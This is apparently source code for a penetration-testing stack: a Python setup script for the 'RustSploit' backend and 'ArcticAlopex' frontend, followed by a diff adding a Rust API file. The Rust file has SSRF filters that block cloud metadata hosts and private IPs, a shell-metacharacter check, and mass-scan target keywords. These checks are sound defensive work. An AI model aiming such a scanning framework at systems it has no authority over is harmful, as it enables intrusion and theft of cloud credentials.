# ─── .env generation ─────────────────────────────────────────────────────
_ENV_KEYS = [
"POSTGRES_PASSWORD",
"DATABASE_URL",
"REDIS_PASSWORD",
"REDIS_URL",
"MINIO_ENDPOINT",
"MINIO_ROOT_USER",
"MINIO_ROOT_PASSWORD",
"MINIO_ACCESS_KEY",
"MINIO_SECRET_KEY",
"MINIO_BUCKET",
"MASTER_KEY",
"WS_PORT",
"WS_SERVER_URL",
"APP_URL",
"SESSION_TTL_SECONDS",
"INVITE_TTL_SECONDS",
]
def gen_env(repo: Repo, *, overwrite: bool = False, dry_run: bool = False) -> None:
"""Generate `arcticalopex/.env` from `.env.example` with random secrets.
The template's `CHANGE_ME_*` placeholders are replaced with values
minted via `secrets.token_hex(32)`. Existing files are preserved
unless `overwrite=True`.
"""
head("Generate arcticalopex/.env")
if not repo.env_example.is_file():
err(f"Template not found: {repo.env_example}")
sys.exit(1)
if repo.env_file.is_file() and not overwrite:
ok(f"{repo.env_file.relative_to(repo.root)} already exists — leaving it alone")
return
pg_pw = secrets.token_hex(32)
redis_pw = secrets.token_hex(32)
minio_user = "arctic-" + secrets.token_hex(4)
minio_pw = secrets.token_hex(32)
master = secrets.token_hex(32)
body = (
"# Generated by scripts/setup_stack.py — do not commit.\n"
f"POSTGRES_PASSWORD={pg_pw}\n"
f"DATABASE_URL=postgres://arcticalopex:{pg_pw}@127.0.0.1:5432/arcticalopex\n"
f"REDIS_PASSWORD={redis_pw}\n"
f"REDIS_URL=redis://:{redis_pw}@127.0.0.1:6379\n"
f"MINIO_ENDPOINT=http://127.0.0.1:9000\n"
f"MINIO_ROOT_USER={minio_user}\n"
f"MINIO_ROOT_PASSWORD={minio_pw}\n"
f"MINIO_ACCESS_KEY={minio_user}\n"
f"MINIO_SECRET_KEY={minio_pw}\n"
f"MINIO_BUCKET=arcticalopex\n"
f"MASTER_KEY={master}\n"
f"WS_PORT=3001\n"
f"WS_SERVER_URL=ws://127.0.0.1:3001\n"
f"APP_URL=http://127.0.0.1:3000\n"
f"SESSION_TTL_SECONDS=28800\n"
f"INVITE_TTL_SECONDS=259200\n"
)
if dry_run:
info(f"would write {repo.env_file} ({len(body)} bytes, secrets randomised)")
return
repo.env_file.parent.mkdir(parents=True, exist_ok=True)
repo.env_file.write_text(body)
try:
os.chmod(repo.env_file, 0o600)
except OSError:
pass
ok(f"wrote {repo.env_file.relative_to(repo.root)} (mode 0600, secrets randomised)")
def env_keys_used(_unused: tuple[str, ...] = tuple(_ENV_KEYS)) -> tuple[str, ...]:
"""Returned for tests / introspection — the list of keys we manage."""
return _unused
# ─── docker-compose helpers ──────────────────────────────────────────────
def _docker_compose_args(repo: Repo) -> list[str]:
"""Return the executable + leading flags for `docker compose -f …`. We
always run with `--env-file` pointing at the generated `.env` so the
compose template's variable substitution lands the random secrets
instead of the placeholder strings from `.env.example`.
"""
return [
"docker",
"compose",
"-f",
str(repo.compose),
"--env-file",
str(repo.env_file),
]
def docker_up(repo: Repo, *, dry_run: bool = False) -> None:
head("Bring up docker-compose dependencies")
if not repo.has_compose:
err(f"docker-compose.yml not found at {repo.compose}")
sys.exit(1)
if not repo.env_file.is_file():
warn("arcticalopex/.env not found — generating it first.")
gen_env(repo, dry_run=dry_run)
check_ports(
[
("127.0.0.1", 5432, "Postgres"),
("127.0.0.1", 6379, "Redis"),
("127.0.0.1", 9000, "MinIO"),
]
)
run(_docker_compose_args(repo) + ["up", "-d", "postgres", "redis", "minio"], dry_run=dry_run)
def docker_down(repo: Repo, *, dry_run: bool = False) -> None:
head("Stop docker-compose dependencies")
if not repo.has_compose:
err(f"docker-compose.yml not found at {repo.compose}")
sys.exit(1)
run(_docker_compose_args(repo) + ["down"], dry_run=dry_run)
def docker_logs(repo: Repo, follow: bool = False, *, dry_run: bool = False) -> None:
cmd = _docker_compose_args(repo) + ["logs"]
if follow:
cmd.append("-f")
run(cmd, dry_run=dry_run, check=False)
# ─── Rust ────────────────────────────────────────────────────────────────
def rust_build(repo: Repo, *, release: bool = False, dry_run: bool = False) -> None:
head(f"cargo build{' --release' if release else ''}")
if not repo.has_rust:
err("Cargo.toml not found")
sys.exit(1)
cmd = ["cargo", "build"]
if release:
cmd.append("--release")
run(cmd, cwd=repo.root, dry_run=dry_run)
def rust_run(
repo: Repo,
*,
bind: str = "127.0.0.1:8080",
release: bool = False,
dry_run: bool = False,
) -> None:
head("Run RustSploit API server")
if not repo.has_rust:
err("Cargo.toml not found")
sys.exit(1)
check_ports([("127.0.0.1", int(bind.split(":")[-1]), "Rust API")])
cmd = ["cargo", "run"]
if release:
cmd.append("--release")
cmd += ["--", "--api", "--interface", bind]
run(cmd, cwd=repo.root, dry_run=dry_run)
# ─── Arctic ──────────────────────────────────────────────────────────────
def arctic_install(repo: Repo, *, dry_run: bool = False) -> None:
head("Install ArcticAlopex dependencies (pnpm install)")
if not repo.has_arctic:
err("arcticalopex/package.json not found")
sys.exit(1)
run(["pnpm", "install"], cwd=repo.arctic, dry_run=dry_run)
def arctic_migrate(repo: Repo, *, dry_run: bool = False) -> None:
head("Run database migrations (pnpm db:migrate)")
if not repo.env_file.is_file():
warn("arcticalopex/.env not found — generating it first.")
gen_env(repo, dry_run=dry_run)
run(["pnpm", "db:migrate"], cwd=repo.arctic, dry_run=dry_run)
def arctic_dev(repo: Repo, *, dry_run: bool = False) -> None:
head("Start ArcticAlopex dev server (pnpm dev)")
check_ports([("127.0.0.1", 3000, "ArcticAlopex dev"), ("::1", 3000, "ArcticAlopex dev")])
run(["pnpm", "dev"], cwd=repo.arctic, dry_run=dry_run)
def arctic_build(repo: Repo, *, dry_run: bool = False) -> None:
head("Production build (pnpm build)")
run(["pnpm", "build"], cwd=repo.arctic, dry_run=dry_run)
def arctic_start(repo: Repo, *, dry_run: bool = False) -> None:
head("Start ArcticAlopex production server (pnpm start)")
check_ports([("127.0.0.1", 3000, "ArcticAlopex prod")])
run(["pnpm", "start"], cwd=repo.arctic, dry_run=dry_run)
# ─── auto / manual ───────────────────────────────────────────────────────
# `--only` picker — what slice of the stack to operate on.
ONLY_CHOICES = ("both", "rust", "arctic")
def _pick_only(repo: Repo) -> str:
"""Resolve `--only` when the user didn't pass it.
On a TTY we ask. Off a TTY (CI, scripts, piped) we fall back to whatever
the checkout supports — both halves if both exist, otherwise the one
half that does.
"""
if repo.has_rust and not repo.has_arctic:
return "rust"
if repo.has_arctic and not repo.has_rust:
return "arctic"
if not (sys.stdin.isatty() and sys.stdout.isatty()):
return "both"
print()
print(_c("1;36", "Which framework do you want to set up?"))
print(f" [{_c('1', '1')}] both — RustSploit backend + ArcticAlopex frontend (default)")
print(f" [{_c('1', '2')}] rust — RustSploit backend only")
print(f" [{_c('1', '3')}] arctic — ArcticAlopex frontend only")
while True:
try:
ans = input("Choice [1/2/3] (Enter = 1): ").strip().lower()
except EOFError:
return "both"
if ans in ("", "1", "both"):
return "both"
if ans in ("2", "rust", "r"):
return "rust"
if ans in ("3", "arctic", "a", "arcticalopex"):
return "arctic"
warn("Please enter 1, 2, or 3.")
def _resolve_only(repo: Repo, only: str) -> tuple[bool, bool]:
"""Return `(do_rust, do_arctic)` after applying the user's `--only`
choice and dropping things the checkout doesn't actually have. Errors
if the user asked for a half that isn't present so we don't silently
do nothing."""
do_rust = only in ("both", "rust")
do_arctic = only in ("both", "arctic")
if do_rust and not repo.has_rust:
if only == "rust":
err("--only rust was requested but Cargo.toml is not in this checkout.")
sys.exit(2)
do_rust = False
if do_arctic and not repo.has_arctic:
if only == "arctic":
err("--only arctic was requested but arcticalopex/package.json is not in this checkout.")
sys.exit(2)
do_arctic = False
if not (do_rust or do_arctic):
err("Nothing to do — neither half of the stack is present in the resolved repo.")
sys.exit(2)
return do_rust, do_arctic
def auto(
repo: Repo,
*,
only: str = "both",
skip_docker: bool = False,
release: bool = False,
dry_run: bool = False,
) -> None:
do_rust, do_arctic = _resolve_only(repo, only)
head(f"Auto setup ({'rust+arctic' if do_rust and do_arctic else 'rust only' if do_rust else 'arctic only'})")
if doctor(repo) > 0 and not dry_run:
warn("Some tools are missing — install them and re-run, or use 'manual' to print commands.")
# 1. .env (random secrets)
if do_arctic:
gen_env(repo, dry_run=dry_run)
# 2. infrastructure (only matters for the arctic half)
if do_arctic and repo.has_compose and not skip_docker:
docker_up(repo, dry_run=dry_run)
elif do_arctic and skip_docker:
warn("Skipping docker (--no-docker): you must provide Postgres / Redis / MinIO yourself.")
# 3. install + migrate frontend
if do_arctic:
arctic_install(repo, dry_run=dry_run)
arctic_migrate(repo, dry_run=dry_run)
# 4. build backend
if do_rust:
rust_build(repo, release=release, dry_run=dry_run)
head("Done")
info("Next steps:")
if do_rust:
print(_c("90", f" $ python3 {Path(__file__).name} rust run"))
if do_arctic:
print(_c("90", f" $ python3 {Path(__file__).name} arctic dev"))
info("Then open http://127.0.0.1:3000")
def manual(
repo: Repo,
*,
only: str = "both",
skip_docker: bool = False,
release: bool = False,
) -> None:
"""Print every command the auto path would run, in order, without
executing anything. Useful when the user wants to copy-paste into a
notes doc, a runbook, or another shell.
"""
do_rust, do_arctic = _resolve_only(repo, only)
head(f"Manual command list ({'rust+arctic' if do_rust and do_arctic else 'rust only' if do_rust else 'arctic only'})")
info("Run these in order, from anywhere — paths are absolute:")
print()
arctic = repo.arctic
n = 1
if do_arctic:
print(_c("1", f"# {n}. Generate arcticalopex/.env with random secrets"))
print(_c("90", f" python3 {Path(__file__).resolve()} arctic env --path {repo.root}"))
print()
n += 1
if do_arctic and repo.has_compose and not skip_docker:
print(_c("1", f"# {n}. Bring up Postgres / Redis / MinIO"))
compose = " ".join(_quote(c) for c in _docker_compose_args(repo))
print(_c("90", f" {compose} up -d postgres redis minio"))
print()
n += 1
if do_arctic:
print(_c("1", f"# {n}. Install frontend dependencies"))
print(_c("90", f" cd {arctic} && pnpm install"))
print()
n += 1
print(_c("1", f"# {n}. Apply DB migrations"))
print(_c("90", f" cd {arctic} && pnpm db:migrate"))
print()
n += 1
if do_rust:
flag = " --release" if release else ""
print(_c("1", f"# {n}. Build the Rust backend"))
print(_c("90", f" cd {repo.root} && cargo build{flag}"))
print()
n += 1
print(_c("1", f"# {n}. Run the Rust API server (terminal 1)"))
print(
_c(
"90",
f" cd {repo.root} && cargo run{flag} -- --api --interface 127.0.0.1:8080",
)
)
print()
n += 1
if do_arctic:
print(_c("1", f"# {n}. Start the ArcticAlopex dev server (terminal {2 if do_rust else 1})"))
print(_c("90", f" cd {arctic} && pnpm dev"))
print()
info("That's the full sequence. Each step is also exposed as its own subcommand.")
# ─── status ──────────────────────────────────────────────────────────────
def status(repo: Repo) -> None:
head("Status")
info(f"Repo: {repo.root}")
info(f".env file: {'present' if repo.env_file.is_file() else 'missing'}")
if repo.has_compose and which("docker"):
try:
out = subprocess.check_output(
_docker_compose_args(repo) + ["ps", "--format", "{{.Service}}\t{{.State}}\t{{.Health}}"],
text=True,
stderr=subprocess.DEVNULL,
)
print()
print(_c("1", "docker-compose services:"))
print(out.rstrip() or " (none up)")
except subprocess.CalledProcessError:
warn("docker compose ps failed (is Docker running?)")
except FileNotFoundError:
warn("docker not found")
print()
print(_c("1", "ports:"))
for host, port, label in [
("127.0.0.1", 5432, "Postgres"),
("127.0.0.1", 6379, "Redis"),
("127.0.0.1", 9000, "MinIO"),
("127.0.0.1", 8080, "Rust API (default)"),
("127.0.0.1", 3000, "ArcticAlopex (default)"),
("127.0.0.1", 3001, "ArcticAlopex WS"),
]:
marker = _c("32", "open ") if _port_in_use(host, port) else _c("90", "free ")
print(f" {marker} {host}:{port} {label}")
# ─── argparse ────────────────────────────────────────────────────────────
def build_parser() -> argparse.ArgumentParser:
p = argparse.ArgumentParser(
prog="setup_stack",
description="Bootstrap RustSploit + ArcticAlopex (auto, manual, or step-by-step).",
)
p.add_argument(
"--path",
type=Path,
default=Path.cwd(),
help="Path to a checkout root (default: cwd).",
)
p.add_argument(
"--dry-run",
action="store_true",
help="Print commands instead of running them (applies to every subcommand).",
)
sub = p.add_subparsers(dest="cmd", required=True)
sub_auto = sub.add_parser("auto", help="Run the full setup sequence end-to-end.")
sub_auto.add_argument(
"--only",
choices=ONLY_CHOICES,
default=None,
help="Which framework(s) to set up. Default: prompt on a TTY, else 'both'.",
)
sub_auto.add_argument("--no-docker", action="store_true", help="Do not bring up docker-compose.")
sub_auto.add_argument("--release", action="store_true", help="Build cargo --release.")
sub_manual = sub.add_parser("manual", help="Print the commands without running them.")
sub_manual.add_argument(
"--only",
choices=ONLY_CHOICES,
default=None,
help="Which framework(s) to print commands for. Default: prompt on a TTY, else 'both'.",
)
sub_manual.add_argument("--no-docker", action="store_true")
sub_manual.add_argument("--release", action="store_true")
sub.add_parser("doctor", help="Check installed tools.")
sub.add_parser("status", help="Show service / port status.")
sub_docker = sub.add_parser("docker", help="docker-compose subcommands.")
sub_docker.add_argument("op", choices=["up", "down", "logs", "logs-follow"])
sub_rust = sub.add_parser("rust", help="Rust backend operations.")
sub_rust.add_argument("op", choices=["build", "run"])
sub_rust.add_argument("--release", action="store_true")
sub_rust.add_argument("--bind", default="127.0.0.1:8080", help="host:port for `rust run`.")
sub_arctic = sub.add_parser("arctic", help="ArcticAlopex frontend operations.")
sub_arctic.add_argument("op", choices=["install", "env", "migrate", "dev", "build", "start"])
sub_arctic.add_argument("--overwrite", action="store_true", help="Overwrite an existing .env (op=env).")
return p
def main(argv: list[str] | None = None) -> int:
args = build_parser().parse_args(argv)
repo = discover(Path(args.path))
try:
if args.cmd == "auto":
only = args.only or _pick_only(repo)
auto(repo, only=only, skip_docker=args.no_docker, release=args.release, dry_run=args.dry_run)
elif args.cmd == "manual":
only = args.only or _pick_only(repo)
manual(repo, only=only, skip_docker=args.no_docker, release=args.release)
elif args.cmd == "doctor":
sys.exit(1 if doctor(repo) else 0)
elif args.cmd == "status":
status(repo)
elif args.cmd == "docker":
if args.op == "up":
docker_up(repo, dry_run=args.dry_run)
elif args.op == "down":
docker_down(repo, dry_run=args.dry_run)
elif args.op == "logs":
docker_logs(repo, follow=False, dry_run=args.dry_run)
elif args.op == "logs-follow":
docker_logs(repo, follow=True, dry_run=args.dry_run)
elif args.cmd == "rust":
if args.op == "build":
rust_build(repo, release=args.release, dry_run=args.dry_run)
else: # run
rust_run(repo, bind=args.bind, release=args.release, dry_run=args.dry_run)
elif args.cmd == "arctic":
if args.op == "install":
arctic_install(repo, dry_run=args.dry_run)
elif args.op == "env":
gen_env(repo, overwrite=args.overwrite, dry_run=args.dry_run)
elif args.op == "migrate":
arctic_migrate(repo, dry_run=args.dry_run)
elif args.op == "dev":
arctic_dev(repo, dry_run=args.dry_run)
elif args.op == "build":
arctic_build(repo, dry_run=args.dry_run)
elif args.op == "start":
arctic_start(repo, dry_run=args.dry_run)
except KeyboardInterrupt:
warn("Interrupted")
return 130
return 0
if __name__ == "__main__":
sys.exit(main())
+932
View File
@@ -0,0 +1,932 @@
use std::net::SocketAddr;
use std::sync::Arc;
use anyhow::{Context, Result};
use axum::{
body::Bytes,
extract::Path as AxumPath,
http::{Method, StatusCode, Uri},
response::{IntoResponse, Json, Response},
routing::{any, get, post},
Router,
};
use colored::*;
use serde_json::{json, Value};
use tower::ServiceBuilder;
use tower_http::trace::TraceLayer;
// ─── Validation Helpers ─────────────────────────────────────────────
pub(crate) fn validate_module_name(module: &str) -> bool {
!module.is_empty()
&& module.len() <= 256
&& module.chars().all(|c| matches!(c, 'a'..='z' | '0'..='9' | '/' | '_' | '-'))
}
pub(crate) fn validate_target(target: &str) -> bool {
!target.is_empty() && target.len() <= 2048 && !target.chars().any(|c| c.is_control())
}
pub(crate) fn is_blocked_target(target: &str) -> bool {
// Multi-target (comma-separated): block if ANY element is blocked, so a
// benign-looking list like "8.8.8.8,127.0.0.1" can't smuggle a blocked
// host past the filter. Mirrors Target::parse's multi-target handling.
if target.contains(',') {
return target
.split(',')
.map(str::trim)
.filter(|s| !s.is_empty())
.any(is_blocked_target);
}
// Mass-scan keywords are deliberately allowed — this function exists for
// SSRF mitigation, not for restricting scan scope. Modules that opt in
// to mass-scan mode parse these keywords themselves.
// M45: "0.0.0.0" alone resolves to localhost and must NOT be allowlisted.
// Only "0.0.0.0/0" (full-internet CIDR) and "random" are genuine
// mass-scan keywords that modules parse themselves.
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
if MASS_SCAN_KEYWORDS.contains(&target) {
return false;
}
let lower = target.to_lowercase();
// Try proper URL parsing first — handles @, port, scheme correctly
let host_no_port = if let Ok(parsed) = url::Url::parse(&lower) {
// Percent-decode the host and check it
parsed.host_str().map(|h| {
percent_decode_host(h)
})
} else {
None
};
// If URL parsing succeeded, check the extracted host
if let Some(ref host) = host_no_port {
if check_blocked_hostname(host) {
return true;
}
if let Ok(ip) = host.parse::<std::net::IpAddr>() {
return is_blocked_ip(ip);
}
}
// Fallback: manual extraction for bare hostnames/IPs (no scheme)
let host_part = lower
.strip_prefix("http://")
.or_else(|| lower.strip_prefix("https://"))
.or_else(|| lower.strip_prefix("ftp://"))
.or_else(|| lower.strip_prefix("gopher://"))
.unwrap_or_else(|| {
// Generic scheme stripping for any other protocol (e.g. dict://, tftp://)
if let Some(idx) = lower.find("://") {
&lower[idx + 3..]
} else {
&lower
}
});
// Strip userinfo (everything before @)
let host_part = if let Some(at_pos) = host_part.find('@') {
&host_part[at_pos + 1..]
} else {
host_part
};
let host_part = host_part.split('/').next().unwrap_or(host_part);
let host_part = host_part.split('?').next().unwrap_or(host_part);
let host_part = host_part.split('#').next().unwrap_or(host_part);
// Strip port from host
let bare_host: &str = if host_part.starts_with('[') {
host_part
.trim_start_matches('[')
.split(']')
.next()
.unwrap_or(host_part)
} else if host_part.matches(':').count() == 1 {
host_part.split(':').next().unwrap_or(host_part)
} else {
host_part
};
let decoded = percent_decode_host(bare_host);
if check_blocked_hostname(&decoded) {
return true;
}
if let Ok(ip) = decoded.parse::<std::net::IpAddr>() {
return is_blocked_ip(ip);
}
if let Ok(ip) = bare_host.parse::<std::net::IpAddr>() {
return is_blocked_ip(ip);
}
// Block file:// scheme entirely
if lower.starts_with("file://") {
return true;
}
false
}
fn percent_decode_host(host: &str) -> String {
let mut result = String::with_capacity(host.len());
let bytes = host.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' && i + 2 < bytes.len()
&& let (Some(hi), Some(lo)) = (
hex_val(bytes[i + 1]),
hex_val(bytes[i + 2]),
) {
result.push((hi << 4 | lo) as char);
i += 3;
continue;
}
result.push(bytes[i] as char);
i += 1;
}
result
}
fn hex_val(b: u8) -> Option<u8> {
match b {
b'0'..=b'9' => Some(b - b'0'),
b'a'..=b'f' => Some(b - b'a' + 10),
b'A'..=b'F' => Some(b - b'A' + 10),
_ => None,
}
}
fn check_blocked_hostname(host: &str) -> bool {
// Each entry is `(exact, dotted_suffix)`. Pre-built so the per-call hot
// path is just two `eq`/`ends_with` checks per entry instead of a
// `format!(".{suffix}")` allocation each time.
const BLOCKED_HOST_SUFFIXES: &[(&str, &str)] = &[
("metadata.google.internal", ".metadata.google.internal"),
("metadata.goog", ".metadata.goog"),
("metadata.internal", ".metadata.internal"),
("metadata.azure.com", ".metadata.azure.com"),
("metadata.oraclecloud.com", ".metadata.oraclecloud.com"),
];
const BLOCKED_HOST_EXACT: &[&str] = &[
"metadata",
"instance-data",
];
const BLOCKED_WILDCARD_SUFFIXES: &[&str] = &[
".sslip.io",
".nip.io",
".xip.io",
".traefik.me",
".local.gd",
];
for (exact, dotted) in BLOCKED_HOST_SUFFIXES {
if host == *exact || host.ends_with(dotted) {
return true;
}
}
for exact in BLOCKED_HOST_EXACT {
if host == *exact {
return true;
}
}
for wildcard in BLOCKED_WILDCARD_SUFFIXES {
if host.ends_with(wildcard) {
return true;
}
}
false
}
fn is_blocked_ip(ip: std::net::IpAddr) -> bool {
match ip {
std::net::IpAddr::V6(v6) => {
if v6.is_loopback() { return true; }
let segs = v6.segments();
if segs[0] == 0xfd00 && segs[1] == 0x0ec2 { return true; }
if segs[0] & 0xfe00 == 0xfc00 { return true; }
if segs[0] & 0xffc0 == 0xfe80 { return true; }
// Use to_ipv4() (not to_ipv4_mapped()) so both IPv4-mapped
// (::ffff:a.b.c.d) and the deprecated IPv4-compatible (::a.b.c.d)
// forms are unwrapped — otherwise ::127.0.0.1 bypasses the filter.
if let Some(v4) = v6.to_ipv4() {
return is_blocked_ipv4(v4);
}
false
}
std::net::IpAddr::V4(v4) => is_blocked_ipv4(v4),
}
}
fn is_blocked_ipv4(v4: std::net::Ipv4Addr) -> bool {
let o = v4.octets();
o[0] == 0 // 0.0.0.0/8 ("this network"; routes to localhost on Linux)
|| o[0] == 127 // 127.0.0.0/8 loopback
|| o[0] == 10 // 10.0.0.0/8 RFC1918
|| (o[0] == 172 && (o[1] & 0xf0) == 16) // 172.16.0.0/12 RFC1918
|| (o[0] == 192 && o[1] == 168) // 192.168.0.0/16 RFC1918
|| (o[0] == 169 && o[1] == 254) // 169.254.0.0/16 link-local
|| (o[0] == 100 && (o[1] & 0xc0) == 64) // 100.64.0.0/10 CGNAT
|| o == [168, 63, 129, 16] // Azure wireserver metadata
|| o == [100, 100, 100, 200] // Alibaba metadata
}
/// SSRF/resolution gate: resolve `target` and verify no resolved IP is blocked.
/// On failure, distinguishes a genuine SSRF block from a mere DNS failure so
/// callers don't report an unresolvable/slow host as a 403 SSRF block (which
/// violates "failures must be distinguishable from negatives" and makes real
/// engagement failures undebuggable). Returns `(error_code, message)`:
/// `SSRF_BLOCKED` for a real block, `TARGET_ERROR` for resolution failure.
pub(crate) async fn ssrf_gate(target: &str) -> Result<(), (&'static str, String)> {
match resolve_and_check(target).await {
Ok(_) => Ok(()),
Err(msg) if msg.contains("blocked") => Err(("SSRF_BLOCKED", msg)),
Err(msg) => Err(("TARGET_ERROR", msg)),
}
}
/// Resolve a hostname and verify none of the returned IPs are blocked.
/// Returns the resolved addresses on success, or an error if blocked / unresolvable.
/// Callers should connect to the returned addresses directly (not re-resolve)
/// to prevent DNS rebinding attacks.
pub(crate) async fn resolve_and_check(target: &str) -> Result<Vec<std::net::SocketAddr>, String> {
// Multi-target (comma-separated): resolve and SSRF-check each element
// individually; the whole list is rejected if any element is blocked or
// fails to resolve. Without this, the list is fed to lookup_host as one
// string, which always fails DNS and rejects even legitimate lists.
if target.contains(',') {
let mut all = Vec::new();
for part in target.split(',').map(str::trim).filter(|s| !s.is_empty()) {
all.extend(Box::pin(resolve_and_check(part)).await?);
}
return Ok(all);
}
// M45: "0.0.0.0" alone resolves to localhost — must not be allowlisted.
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
if MASS_SCAN_KEYWORDS.contains(&target) {
return Ok(vec![]);
}
if is_blocked_target(target) {
return Err("target blocked by SSRF filter".to_string());
}
let lower = target.to_lowercase();
let host_part = lower
.strip_prefix("http://")
.or_else(|| lower.strip_prefix("https://"))
.unwrap_or(&lower);
let host_part = host_part.split('/').next().unwrap_or(host_part);
let lookup_addr = if host_part.contains(':') {
host_part.to_string()
} else {
format!("{}:80", host_part)
};
match tokio::time::timeout(
std::time::Duration::from_secs(5),
tokio::net::lookup_host(&lookup_addr),
).await {
Ok(Ok(addrs)) => {
let resolved: Vec<std::net::SocketAddr> = addrs.collect();
for addr in &resolved {
if is_blocked_ip(addr.ip()) {
return Err(format!("resolved IP {} is blocked", addr.ip()));
}
}
// Pin the validated IPs to the bare hostname so the subsequent module
// connect reuses exactly these addresses instead of re-resolving the
// name (which a rebinding attacker could point at a blocked IP after
// this check passes). reqwest clients built via build_http_client_with
// consult these pins. IP-literal targets are not resolved by reqwest,
// so pinning them is a harmless no-op.
// Strip a trailing numeric :port to get the bare hostname for pinning.
// Spelled out with explicit branches (no wildcard arm) so every case
// is handled visibly and nothing is folded away.
let host_only: &str = if let Some((host, port)) = host_part.rsplit_once(':') {
if !host.is_empty() && port.chars().all(|c| c.is_ascii_digit()) {
// "host:port" — pin the hostname, drop the numeric port.
host
} else {
// A ':' is present but the suffix is not a numeric port (e.g. an
// IPv6 literal like "::1"); use the whole string. IP literals are
// never resolved by reqwest, so pinning them is simply unused.
host_part
}
} else {
// No ':' present — already a bare hostname.
host_part
};
crate::utils::network::pin_resolved_ips(
host_only,
&resolved.iter().map(|s| s.ip()).collect::<Vec<_>>(),
);
Ok(resolved)
}
Ok(Err(e)) => {
tracing::debug!(target = lookup_addr, "SSRF resolve failed → blocking: {}", e);
Err(format!("DNS resolution failed: {}", e))
}
Err(e) => {
tracing::debug!(target = lookup_addr, "SSRF resolve timed out (5s) → blocking: {e}");
Err(format!("DNS resolution timed out: {e}"))
}
}
}
pub(crate) fn contains_shell_metacharacters(input: &str) -> bool {
input.chars().any(|c| matches!(c, '&' | '|' | ';' | '`' | '$' | '>' | '<' | '\n' | '\r' | '(' | ')' | '{' | '}'))
|| input.contains("$(")
|| input.contains("${")
}
pub(crate) fn validate_result_filename(name: &str) -> bool {
!name.is_empty()
&& name.len() <= 255
&& name.is_ascii()
&& !name.contains('/')
&& !name.contains('\\')
&& !name.contains("..")
&& name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.'))
&& !name.starts_with('.')
&& name.ends_with(".txt")
}
// ─── Health Endpoint ────────────────────────────────────────────────
async fn health_check() -> Json<serde_json::Value> {
Json(serde_json::json!({
"status": "ok",
}))
}
// ─── HTTP → JSON-RPC Adapter ────────────────────────────────────────
//
// Maps the REST surface (GET/POST/PUT/DELETE on `/api/<resource>[/<id>...]`)
// onto the existing `crate::ws::dispatch_rpc` handlers so we keep one
// canonical dispatch table for both transports.
//
// The middleware in `pq_middleware::pq_middleware` has already decrypted the
// body, restored the original semantic HTTP method (from `X-PQ-Method`), and
// scrubbed the PQ envelope headers by the time these handlers run.
fn rpc_status(code: &str) -> StatusCode {
match code {
"INVALID_INPUT" | "INVALID_OUTPUT_FILE" | "INVALID_JOB_ID" | "PARSE_ERROR"
| "INVALID_PORT" | "INVALID_CONCURRENCY" => {
StatusCode::BAD_REQUEST
}
"NOT_FOUND" | "MODULE_NOT_FOUND" | "METHOD_NOT_FOUND" => StatusCode::NOT_FOUND,
"SSRF_BLOCKED" | "SECURITY" => StatusCode::FORBIDDEN,
"TENANT_REJECTED" => StatusCode::SERVICE_UNAVAILABLE,
// Genuine capacity/limit conflicts the caller can retry later.
"JOB_LIMIT" | "OPTION_LIMIT" | "SUB_LIMIT" | "SPOOL_BUSY" => {
StatusCode::CONFLICT
}
"RATE_LIMIT" => StatusCode::TOO_MANY_REQUESTS,
// Module / IO / serialization / persistence failures are server-side
// runtime failures, not client conflicts. `OPTION_ERROR`/`TARGET_ERROR`/
// `STORE_ERROR` mean "failed to persist", so they belong here (500), not
// 409 — a 409 wrongly tells the client its request conflicts with state.
"MODULE_ERROR"
| "EXPORT_ERROR"
| "SPOOL_ERROR"
| "IO_ERROR"
| "STORE_ERROR"
| "OPTION_ERROR"
| "TARGET_ERROR"
| "SERIALIZE_ERROR" => StatusCode::INTERNAL_SERVER_ERROR,
_ => StatusCode::INTERNAL_SERVER_ERROR,
}
}
fn ok(value: Value) -> Response {
Json(value).into_response()
}
fn err_resp(status: StatusCode, code: &str, message: &str) -> Response {
(status, Json(json!({ "error": message, "code": code }))).into_response()
}
fn parse_query(query: &str) -> std::collections::BTreeMap<String, String> {
url::form_urlencoded::parse(query.as_bytes())
.map(|(k, v)| (k.into_owned(), v.into_owned()))
.collect()
}
/// Run a single RPC call and turn its result into an HTTP response with a
/// uniform `{ data: ... }` envelope on success and `{ error, code }` on
/// failure. This is the single canonical shape every REST client sees.
async fn invoke_rpc(method: &str, params: Value) -> Response {
match crate::ws::dispatch_rpc(method, &params).await {
Ok(data) => ok(json!({ "data": data })),
Err((code, msg)) => err_resp(rpc_status(&code), &code, &msg),
}
}
/// The single catch-all `/api/{*tail}` handler. Parses the path tail,
/// method, query string, and JSON body into a `(rpc_method, params)` pair
/// and forwards to `crate::ws::dispatch_rpc`.
async fn api_dispatcher(
method: Method,
AxumPath(tail): AxumPath<String>,
uri: Uri,
axum::Extension(identity): axum::Extension<crate::pq_middleware::AuthenticatedIdentity>,
body: Bytes,
) -> Response {
let path = format!("/{}", tail.trim_start_matches('/'));
let segments: Vec<&str> = path.trim_start_matches('/').split('/').collect();
let head = segments.first().copied().unwrap_or("");
let sub = segments.get(1).copied();
let third = segments.get(2).copied();
let body_value: Value = if body.is_empty() {
Value::Null
} else {
match serde_json::from_slice::<Value>(&body) {
Ok(v) => v,
Err(e) => {
tracing::debug!("API JSON parse error: {e}");
return err_resp(
StatusCode::BAD_REQUEST,
"PARSE_ERROR",
"Request body is not valid JSON",
);
}
}
};
let body_obj = body_value.as_object().cloned().unwrap_or_default();
let query = parse_query(uri.query().unwrap_or(""));
let mut params = serde_json::Map::new();
macro_rules! merge_query {
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
$(
if let Some(v) = $query.get($key) {
$params.insert($key.to_string(), Value::String(v.clone()));
}
)*
};
}
macro_rules! merge_query_int {
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
$(
if let Some(v) = $query.get($key).and_then(|s| s.parse::<u64>().ok()) {
$params.insert($key.to_string(), Value::Number(v.into()));
}
)*
};
}
macro_rules! body_into_params {
($params:ident, $body:ident) => {
for (k, v) in $body.iter() {
$params.insert(k.clone(), v.clone());
}
};
}
let rpc_method: &str = match (method.as_str(), head, sub, third) {
// ── Health ──────────────────────────────────────────────────
("GET", "health", None, _) => "health",
// ── Modules ─────────────────────────────────────────────────
("GET", "modules", None, _) => "list_modules",
("GET", "modules", Some("enriched"), _) => "list_modules_enriched",
("GET", "modules", Some("search"), _) => {
merge_query!(params, query, ["q"]);
